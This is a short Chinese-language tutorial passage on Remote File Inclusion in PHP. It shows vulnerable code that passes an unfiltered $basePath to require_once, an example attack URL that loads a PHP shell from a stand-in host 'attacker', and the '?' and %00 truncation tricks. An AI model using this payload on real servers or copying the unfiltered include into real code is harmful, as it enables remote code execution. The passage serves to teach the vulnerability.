又稱作為 RFI 〈Remote File Inclusion〉,與 LFI 功能方法類似,取決於 PHP 的配置選項 allow_url_include 有無開啟。
例如以下 code :
<? php
if ($route == "share") {
require_once $basePath . '/action/m_share.php';
} else if ($route == "sharelink") {
require_once $basePath . '/action/m_sharelink.php';
}
?>
$basePath 並沒有做任何過濾,因此可以偽造如下的攻擊 URL
?param = http://attacker/phpshell.txt?
最終得到的結果是
require_once 'http://attacker/phpshell.txt?/action/m_share.php';
這邊最後偽造的 ? 字元是另一種截斷的方式,同樣地, %00 也可以用來當作截斷符。